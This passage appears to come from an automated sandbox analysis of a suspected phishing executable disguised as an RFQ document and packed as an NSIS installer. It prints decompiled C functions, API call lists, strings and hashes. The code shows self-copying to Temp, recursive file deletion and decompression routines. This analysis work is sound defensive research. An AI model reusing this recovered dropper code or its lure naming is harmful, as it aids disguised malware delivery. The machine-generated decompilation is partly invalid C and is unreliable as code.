											E004059DD("C:\\Users\\jones\\AppData\\Local\\Temp", "C:\\Users\\jones\\Desktop");
										}
										E004059DD(0x424000, _v396);
										 *0x424400 = 0x41;
										_t98 = 0x1a;
										do {
											E004059FF(0, _t98, 0x41f030, 0x41f030,  *((intOrPtr*)( *0x423e90 + 0x120)));
											DeleteFileA(0x41f030);
											if(_v416 != 0 && CopyFileA("C:\\Users\\jones\\Desktop\\RE; KOC RFQ for Flangers - RFQ 22965431.exe", 0x41f030, 1) != 0) {
												_push(0);
												_push(0x41f030);
												E0040572B();
												E004059FF(0, _t98, 0x41f030, 0x41f030,  *((intOrPtr*)( *0x423e90 + 0x124)));
												_t79 = E0040523D(0x41f030);
												if(_t79 != 0) {
													CloseHandle(_t79);
													_v416 = 0;
												}
											}
											 *0x424400 =  *0x424400 + 1;
											_t98 = _t98 - 1;
										} while (_t98 != 0);
										_push(0);
										_push(_t105);
										E0040572B();
										goto L32;
									}
									 *_t103 = 0;
									_t104 = _t103 + 4;
									if(E004055B1(_t115, _t103 + 4) == 0) {
										goto L32;
									}
									E004059DD("C:\\Users\\jones\\AppData\\Local\\Temp", _t104);
									E004059DD("C:\\Users\\jones\\AppData\\Local\\Temp", _t104);
									_v424 = 0;
									goto L31;
								}
								GetWindowsDirectoryA(_t105, 0x3fb);
								lstrcatA(_t105, "\\Temp");
								_t89 = E00403097(_t110);
								_t111 = _t89;
								if(_t89 == 0) {
									goto L32;
								}
								goto L22;
							}
							goto L15;
						}
					} else {
						goto L4;
					}
					do {
						L4:
						_t44 = _t44 + 1;
						__eflags =  *_t44 - 0x20;
					} while ( *_t44 == 0x20);
					goto L5;
				}
				goto L20;
			}

0x004030d7
0x004030db
0x004030e3
0x004030e5
0x004030ea
0x004030f5
0x004030fc
0x00403104
0x0040310e
0x00403124
0x00403134
0x00403139
0x0040313f
0x00403146
0x00403159
0x0040315e
0x00403160
0x00403162
0x00403167
0x00403167
0x00403177
0x0040317d
0x004031e6
0x004031e6
0x004031e8
0x004031ea
0x00000000
0x00000000
0x00403183
0x00403186
0x0040318e
0x0040318e
0x00403191
0x00403196
0x00403198
0x00403198
0x00403199
0x00403199
0x0040319e
0x004031a1
0x004031d6
0x004031db
0x004031e0
0x004031e3
0x004031e5
0x004031e5
0x004031e5
0x00000000
0x004031a3
0x004031a3
0x004031a4
0x004031a7
0x004031af
0x004031b2
0x004031b4
0x004031b4
0x004031b4
0x004031b2
0x004031b7
0x004031bd
0x004031c5
0x004031c8
0x004031ca
0x004031ca
0x004031ca
0x004031c8
0x004031cd
0x004031d4
0x004031ee
0x004031f1
0x004031fa
0x004031ff
0x004031ff
0x0040320a
0x00403210
0x00403215
0x00403217
0x00403239
0x0040323e
0x00403245
0x0040324c
0x00403250
0x004032b7
0x004032b7
0x004032bc
0x004032c6
0x004033b1
0x004033b7
0x004033c2
0x004033cb
0x004033cd
0x004033d2
0x004033d4
0x004033d6
0x004033d8
0x004033da
0x004033dc
0x004033de
0x004033ee
0x004033f0
0x004033f2
0x004033ff
0x0040340e
0x00403416
0x0040341e
0x0040341e
0x004033f2
0x004033de
0x004033da
0x00403423
0x00403429
0x0040342b
0x0040342f
0x0040342f
0x0040342b
0x00403434
0x00403439
0x0040343c
0x0040343e
0x0040343e
0x00403446
0x00403446
0x004032d5
0x004032dc
0x004032dc
0x00403258
0x004032a7
0x004032a7
0x004032b3
0x00000000
0x004032b3
0x00403261
0x0040326e
0x00403265
0x0040326b
0x00000000
0x00000000
0x0040326d
0x0040326d
0x0040326d
0x00403272
0x00403274
0x0040327c
0x004032e8
0x004032fc
0x00000000
0x00000000
0x00403300
0x00403307
0x0040330d
0x00403313
0x0040331b
0x0040331b
0x00403329
0x00403330
0x00403339
0x0040333f
0x0040334b
0x00403351
0x0040335b
0x0040336f
0x00403370
0x00403371
0x00403382
0x00403388
0x0040338f
0x00403392
0x00403398
0x00403398
0x0040338f
0x0040339c
0x004033a2
0x004033a2
0x004033a5
0x004033a6
0x004033a7
0x00000000
0x004033a7
0x0040327e
0x00403280
0x0040328b
0x00000000
0x00000000
0x00403293
0x0040329e
0x004032a3
0x00000000
0x004032a3
0x0040321f
0x0040322b
0x00403230
0x00403235
0x00403237
0x00000000
0x00000000
0x00000000
0x00403237
0x00000000
0x004031d4
0x00000000
0x00000000
0x00000000
0x00403188
0x00403188
0x00403188
0x00403189
0x00403189
0x00000000
0x00403188
0x00000000

APIs

#17.COMCTL32 ref: 004030EA
SetErrorMode.KERNELBASE(00008001), ref: 004030F5
OleInitialize.OLE32(00000000), ref: 004030FC

Part of subcall function 00405CFF: GetModuleHandleA.KERNEL32(?,?,00000000,0040310E,00000008), ref: 00405D11
Part of subcall function 00405CFF: LoadLibraryA.KERNELBASE(?,?,00000000,0040310E,00000008), ref: 00405D1C
Part of subcall function 00405CFF: GetProcAddress.KERNEL32(00000000,?), ref: 00405D2D

SHGetFileInfoA.SHELL32(0041F430,00000000,?,00000160,00000000,00000008), ref: 00403124

Part of subcall function 004059DD: lstrcpynA.KERNEL32(?,?,00000400,00403139,00423680,NSIS Error), ref: 004059EA

GetCommandLineA.KERNEL32(00423680,NSIS Error), ref: 00403139
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,00000000), ref: 0040314C
CharNextA.USER32(00000000,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,00000020), ref: 00403177
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040320A
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040321F
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040322B
DeleteFileA.KERNELBASE(1033), ref: 0040323E
OleUninitialize.OLE32(00000000), ref: 004032BC
ExitProcess.KERNEL32 ref: 004032DC
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,00000000,00000000), ref: 004032E8
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,00000000,00000000), ref: 004032F4
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403300
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 00403307
DeleteFileA.KERNEL32(0041F030,0041F030,?,00424000,?), ref: 00403351
CopyFileA.KERNEL32 ref: 00403365
CloseHandle.KERNEL32(00000000,0041F030,0041F030,?,0041F030,00000000), ref: 00403392
GetCurrentProcess.KERNEL32(00000028,?,00000005,00000004,00000003), ref: 004033E7
ExitWindowsEx.USER32(00000002,00000000), ref: 00403423
ExitProcess.KERNEL32 ref: 00403446

Strings

"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" , xrefs: 0040313F, 00403145, 0040325B
", xrefs: 00403199
NCRC, xrefs: 004031B7
/D=, xrefs: 004031CD
C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe, xrefs: 00403360
Error launching installer, xrefs: 00403274
C:\Users\user\AppData\Local\Temp, xrefs: 004031F5, 0040328E, 0040330D, 00403316
1033, xrefs: 00403239
SeShutdownPrivilege, xrefs: 004033F9
NSIS Error, xrefs: 0040312A
~nsu.tmp, xrefs: 004032E2
C:\Users\user\AppData\Local\Temp, xrefs: 00403299
_?=, xrefs: 00403265
\Temp, xrefs: 00403225
C:\Users\user\AppData\Local\Temp\, xrefs: 004031FF, 00403204, 0040321E, 0040322A, 004032E7, 004032F3, 004032FF, 00403306, 004033A6
C:\Users\user\Desktop, xrefs: 004032ED, 004032F2, 00403315

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: File$DirectoryExitHandleProcess$CurrentDeleteModuleWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$"$"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" $1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
API String ID: 2278157092-2099362462
Opcode ID: dac8a3e4b42874552ff3bf8d63fabb06b1ed44114a57f908459e075a30442c4d
Instruction ID: cc286ec977d2638fbe9c092aa5ad16f4889e12429ffafd7da1ab197300c5bae6
Opcode Fuzzy Hash: dac8a3e4b42874552ff3bf8d63fabb06b1ed44114a57f908459e075a30442c4d
Instruction Fuzzy Hash: 9691B170A08340AED7216F619D49B6B7EACEB0530AF44047FF581B62D2C77C9E458B6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405302, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00405302(void* __ebx, void* __eflags, void* _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				struct _WIN32_FIND_DATAA _v332;
				signed int _t37;
				char* _t49;
				signed int _t52;
				signed int _t55;
				signed int _t61;
				signed int _t63;
				void* _t65;
				signed int _t68;
				CHAR* _t70;
				CHAR* _t72;
				char* _t75;

				_t72 = _a4;
				_t37 = E004055B1(__eflags, _t72);
				_v12 = _t37;
				if((_a8 & 0x00000008) != 0) {
					_t63 = DeleteFileA(_t72); // executed
					asm("sbb eax, eax");
					_t65 =  ~_t63 + 1;
					 *0x423f08 =  *0x423f08 + _t65;
					return _t65;
				}
				_t68 = _a8 & 0x00000001;
				__eflags = _t68;
				_v8 = _t68;
				if(_t68 == 0) {
					L5:
					E004059DD(0x421480, _t72);
					__eflags = _t68;
					if(_t68 == 0) {
						E00405517(_t72);
					} else {
						lstrcatA(0x421480, "\*.*");
					}
					__eflags =  *_t72;
					if( *_t72 != 0) {
						L10:
						lstrcatA(_t72, 0x409010);
						L11:
						_t70 =  &(_t72[lstrlenA(_t72)]);
						_t37 = FindFirstFileA(0x421480,  &_v332);
						__eflags = _t37 - 0xffffffff;
						_a4 = _t37;
						if(_t37 == 0xffffffff) {
							L29:
							__eflags = _v8;
							if(_v8 != 0) {
								_t31 = _t70 - 1;
								 *_t31 =  *(_t70 - 1) & 0x00000000;
								__eflags =  *_t31;
							}
							goto L31;
						} else {
							goto L12;
						}
						do {
							L12:
							_t75 =  &(_v332.cFileName);
							_t49 = E004054FB( &(_v332.cFileName), 0x3f);
							__eflags =  *_t49;
							if( *_t49 != 0) {
								__eflags = _v332.cAlternateFileName;
								if(_v332.cAlternateFileName != 0) {
									_t75 =  &(_v332.cAlternateFileName);
								}
							}
							__eflags =  *_t75 - 0x2e;
							if( *_t75 != 0x2e) {
								L19:
								E004059DD(_t70, _t75);
								__eflags = _v332.dwFileAttributes & 0x00000010;
								if((_v332.dwFileAttributes & 0x00000010) == 0) {
									E00405695(_t72);
									_t52 = DeleteFileA(_t72);
									__eflags = _t52;
									if(_t52 != 0) {
										E00404D7B(0xfffffff2, _t72);
									} else {
										__eflags = _a8 & 0x00000004;
										if((_a8 & 0x00000004) == 0) {
											 *0x423f08 =  *0x423f08 + 1;
										} else {
											E00404D7B(0xfffffff1, _t72);
											_push(0);
											_push(_t72);
											E0040572B();
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E00405302(_t70, __eflags, _t72, _a8);
									}
								}
								goto L27;
							}
							_t61 =  *((intOrPtr*)(_t75 + 1));
							__eflags = _t61;
							if(_t61 == 0) {
								goto L27;
							}
							__eflags = _t61 - 0x2e;
							if(_t61 != 0x2e) {
								goto L19;
							}
							__eflags =  *((char*)(_t75 + 2));
							if( *((char*)(_t75 + 2)) == 0) {
								goto L27;
							}
							goto L19;
							L27:
							_t55 = FindNextFileA(_a4,  &_v332);
							__eflags = _t55;
						} while (_t55 != 0);
						_t37 = FindClose(_a4);
						goto L29;
					}
					__eflags =  *0x421480 - 0x5c;
					if( *0x421480 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t37;
					if(_t37 == 0) {
						L31:
						__eflags = _v8;
						if(_v8 == 0) {
							L39:
							return _t37;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t37 = E00405CD8(_t72);
							__eflags = _t37;
							if(_t37 == 0) {
								goto L39;
							}
							E004054D0(_t72);
							E00405695(_t72);
							_t37 = RemoveDirectoryA(_t72);
							__eflags = _t37;
							if(_t37 != 0) {
								return E00404D7B(0xffffffe5, _t72);
							}
							__eflags = _a8 & 0x00000004;
							if((_a8 & 0x00000004) == 0) {
								goto L33;
							}
							E00404D7B(0xfffffff1, _t72);
							_push(0);
							_push(_t72);
							return E0040572B();
						}
						L33:
						 *0x423f08 =  *0x423f08 + 1;
						return _t37;
					}
					__eflags = _a8 & 0x00000002;
					if((_a8 & 0x00000002) == 0) {
						goto L31;
					}
					goto L5;
				}
			}

0x0040530d
0x00405311
0x0040531a
0x0040531d
0x00405320
0x00405328
0x0040532a
0x0040532b
0x00000000
0x0040532b
0x0040533a
0x0040533a
0x0040533d
0x00405340
0x00405354
0x0040535b
0x00405360
0x00405362
0x00405372
0x00405364
0x0040536a
0x0040536a
0x00405377
0x0040537a
0x00405385
0x0040538b
0x00405390
0x004053a0
0x004053a2
0x004053a8
0x004053ab
0x004053ae
0x0040546b
0x0040546b
0x0040546f
0x00405471
0x00405471
0x00405471
0x00405471
0x00000000
0x00000000
0x00000000
0x00000000
0x004053b4
0x004053b4
0x004053bd
0x004053c3
0x004053c8
0x004053cb
0x004053cd
0x004053d1
0x004053d3
0x004053d3
0x004053d1
0x004053d6
0x004053d9
0x004053ec
0x004053ee
0x004053f3
0x004053fa
0x00405412
0x00405418
0x0040541e
0x00405420
0x00405445
0x00405422
0x00405422
0x00405426
0x0040543a
0x00405428
0x0040542b
0x00405430
0x00405432
0x00405433
0x00405433
0x00405426
0x004053fc
0x00405402
0x00405404
0x0040540a
0x0040540a
0x00405404
0x00000000
0x004053fa
0x004053db
0x004053de
0x004053e0
0x00000000
0x00000000
0x004053e2
0x004053e4
0x00000000
0x00000000
0x004053e6
0x004053ea
0x00000000
0x00000000
0x00000000
0x0040544a
0x00405454
0x0040545a
0x0040545a
0x00405465
0x00000000
0x00405465
0x0040537c
0x00405383
0x00000000
0x00000000
0x00000000
0x00405342
0x00405342
0x00405344
0x00405475
0x00405478
0x0040547b
0x004054cd
0x004054cd
0x004054cd
0x0040547d
0x00405480
0x0040548b
0x00405490
0x00405492
0x00000000
0x00000000
0x00405495
0x0040549b
0x004054a1
0x004054a7
0x004054a9
0x00000000
0x004054c5
0x004054ab
0x004054af
0x00000000
0x00000000
0x004054b4
0x004054b9
0x004054ba
0x00000000
0x004054bb
0x00405482
0x00405482
0x00000000
0x00405482
0x0040534a
0x0040534e
0x00000000
0x00000000
0x00000000
0x0040534e

APIs

DeleteFileA.KERNELBASE(?,?,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,00000000), ref: 00405320
lstrcatA.KERNEL32(00421480,\*.*,00421480,?,00000000,?,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,00000000), ref: 0040536A
lstrcatA.KERNEL32(?,00409010,?,00421480,?,00000000,?,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,00000000), ref: 0040538B
lstrlenA.KERNEL32(?,?,00409010,?,00421480,?,00000000,?,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,00000000), ref: 00405391
FindFirstFileA.KERNEL32(00421480,?,?,?,00409010,?,00421480,?,00000000,?,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,00000000), ref: 004053A2
FindNextFileA.KERNEL32(?,00000010,000000F2,?), ref: 00405454
FindClose.KERNEL32(?), ref: 00405465

Strings

"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" , xrefs: 0040530C
C:\Users\user\AppData\Local\Temp\, xrefs: 00405302
\*.*, xrefs: 00405364

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" $C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1444312155
Opcode ID: 839bd3744fd32e7d0185c0b890ed2fdcf981fbc651edb5541a67b6ee6968ffb2
Instruction ID: 4b200e60d3e8d58e0ab6cbb93b3ca9934a2dcfa31e3b076817fab6d13423d761
Opcode Fuzzy Hash: 839bd3744fd32e7d0185c0b890ed2fdcf981fbc651edb5541a67b6ee6968ffb2
Instruction Fuzzy Hash: 45511230844A48B6DB226B228C45BFF3A78DF4275AF14813BF845751D1C77C4981DE6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405FA8, Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00405FA8() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				void* _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t590;
				signed int* _t607;
				void* _t614;

				L0:
				while(1) {
					L0:
					if( *(_t614 - 0x40) != 0) {
						 *(_t614 - 0x34) = 1;
						 *(_t614 - 0x84) = 7;
						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
						L132:
						 *(_t614 - 0x54) = _t607;
						L133:
						_t531 =  *_t607;
						_t590 = _t531 & 0x0000ffff;
						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
						if( *(_t614 - 0xc) >= _t565) {
							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
							 *(_t614 - 0x40) = 1;
							_t532 = _t531 - (_t531 >> 5);
							 *_t607 = _t532;
						} else {
							 *(_t614 - 0x10) = _t565;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
							 *_t607 = (0x800 - _t590 >> 5) + _t531;
						}
						if( *(_t614 - 0x10) >= 0x1000000) {
							L139:
							_t533 =  *(_t614 - 0x84);
							L140:
							 *(_t614 - 0x88) = _t533;
							goto L1;
						} else {
							L137:
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 5;
								goto L170;
							}
							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						__eax =  *(__ebp - 0x5c) & 0x000000ff;
						__esi =  *(__ebp - 0x60);
						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
						__ecx =  *(__ebp - 0x3c);
						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
						__ecx =  *(__ebp - 4);
						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						if( *(__ebp - 0x38) >= 4) {
							if( *(__ebp - 0x38) >= 0xa) {
								_t97 = __ebp - 0x38;
								 *_t97 =  *(__ebp - 0x38) - 6;
							} else {
								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
							}
						} else {
							 *(__ebp - 0x38) = 0;
						}
						if( *(__ebp - 0x34) == __edx) {
							__ebx = 0;
							__ebx = 1;
							L60:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t216 = __edx + 1; // 0x1
								__ebx = _t216;
								__cx = __ax >> 5;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L59:
								if(__ebx >= 0x100) {
									goto L54;
								}
								goto L60;
							} else {
								L57:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xf;
									goto L170;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t202 = __ebp - 0x70;
								 *_t202 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L59;
							}
						} else {
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
							}
							__ecx =  *(__ebp - 8);
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
							L40:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L38:
								__eax =  *(__ebp - 0x40);
								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
									while(1) {
										if(__ebx >= 0x100) {
											break;
										}
										__eax =  *(__ebp - 0x58);
										__edx = __ebx + __ebx;
										__ecx =  *(__ebp - 0x10);
										__esi = __edx + __eax;
										__ecx =  *(__ebp - 0x10) >> 0xb;
										__ax =  *__esi;
										 *(__ebp - 0x54) = __esi;
										__edi = __ax & 0x0000ffff;
										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
										if( *(__ebp - 0xc) >= __ecx) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
											__cx = __ax;
											_t169 = __edx + 1; // 0x1
											__ebx = _t169;
											__cx = __ax >> 5;
											 *__esi = __ax;
										} else {
											 *(__ebp - 0x10) = __ecx;
											0x800 = 0x800 - __edi;
											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
											__ebx = __ebx + __ebx;
											 *__esi = __cx;
										}
										 *(__ebp - 0x44) = __ebx;
										if( *(__ebp - 0x10) < 0x1000000) {
											L45:
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t155 = __ebp - 0x70;
											 *_t155 =  *(__ebp - 0x70) + 1;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
										}
									}
									L53:
									_t172 = __ebp - 0x34;
									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
									L54:
									__al =  *(__ebp - 0x44);
									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
									L55:
									if( *(__ebp - 0x64) == 0) {
										 *(__ebp - 0x88) = 0x1a;
										goto L170;
									}
									__ecx =  *(__ebp - 0x68);
									__al =  *(__ebp - 0x5c);
									__edx =  *(__ebp - 8);
									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
									 *( *(__ebp - 0x68)) = __al;
									__ecx =  *(__ebp - 0x14);
									 *(__ecx +  *(__ebp - 8)) = __al;
									__eax = __ecx + 1;
									__edx = 0;
									_t191 = __eax %  *(__ebp - 0x74);
									__eax = __eax /  *(__ebp - 0x74);
									__edx = _t191;
									L79:
									 *(__ebp - 0x14) = __edx;
									L80:
									 *(__ebp - 0x88) = 2;
									goto L1;
								}
								if(__ebx >= 0x100) {
									goto L53;
								}
								goto L40;
							} else {
								L36:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xd;
									L170:
									_t568 = 0x22;
									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t121 = __ebp - 0x70;
